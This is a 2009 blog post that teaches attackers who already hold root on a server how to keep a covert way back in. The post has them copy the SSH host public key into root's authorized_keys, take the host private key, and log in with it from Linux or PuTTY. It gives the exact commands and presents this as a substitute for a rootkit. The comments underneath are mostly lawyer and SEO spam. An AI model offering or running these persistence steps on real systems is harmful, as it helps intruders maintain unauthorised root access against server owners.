Thursday, January 29, 2009

legal Backdoor

Some Hackers they gain root privilege on a secure server but they can't install rootkit or backdoor, so what to do?

actually they can login any time to the server without known the root password!!!

by using RSA or DSA private key to login.

On Server Side:
-------------------
  • copy the public key "/etc/ssh/ssh_host_dsa_key.pub " to "~/.ssh/authorized_keys" with chmod 600
#cp /etc/ssh/ssh_host_dsa_key.pub ~/.ssh/authorized_keys
#chmod 600 ~/.ssh/authorized_keys


On Client Side:
------------------
  • save the private key "/etc/ssh/ssh_host_dsa_key" to your machine with chmod 600
  • use it with SSH option "-i" to login without password.
#chmod 600 ssh_host_dsa_key

#ssh root@192.168.1.2 -i ssh_host_dsa_key

For Windows Users:
---------------------
  • copy the private key "/etc/ssh/ssh_host_dsa_key" content to window notepad
  • load it in puttygen.exe and save it again with .ppk extension
  • select the key from putty>connection>SSH>Auth

and enjoy login without password ;)

11 comments:

  1. تفكير نقي والله الطريق رائعة
    عضو في sec-r1z
    M0µ34d

    ReplyDelete
  2. freelancing meaning



    Thanks for sharing article nice one..waiting for next one keep it up

    ReplyDelete
  3. The dedicated lawyer will get the response and comments of the relevant lawyer and inform the client within the pre-fixed time.Contabilitate Iasi

    ReplyDelete
  4. The data you have posted is extremely valuable. The locales you have alluded was great. A debt of gratitude is in order for sharing... https://www.mosscolella.com/michigan-motorcycle-accident-lawyers/

    ReplyDelete
  5. Its like you read my mind! You seem to know so much about this,like you wrote the book in it or something. point pleasant nj attorney

    ReplyDelete
  6. Nice information, valuable and excellent design, as share good stuff with good ideas and concepts, lots of great information and inspiration, both of which I need, thanks to offer such a helpful information here..EliaAndPonto.com

    ReplyDelete
  7. A decision should not be made until you have met with the lawyer and felt comfortable working with him/her. US Citizenship

    ReplyDelete
  8. Indeed the Internet. But, this is your least reliable source because everything could be put on the 'net. Website

    ReplyDelete
  9. The most inspiring stuff commonly is probably the most dull or boring concern. a single rooster may not be in the same woody plant strip very long, and also the pets within the pine is a kind of weight, always want to consult the next stars, the particular fowl because the plants are really hesitant to facial expression an equal beautiful places day by day. Website

    ReplyDelete
  10. We live in a data age, where individuals know about their key rights and obligations, so lawyers and other legal experts must know how to have accomplishment for a customer.Click Here

    ReplyDelete
  11. Getting a lawyer who practices as slip damage lawyer will be a positive advance towards equity. Damage lawyers can likewise be alluded to us individual damage lawyers. This is on the grounds that the wounds one manages amid the slip may make mental or physical damage a man.car accident

    ReplyDelete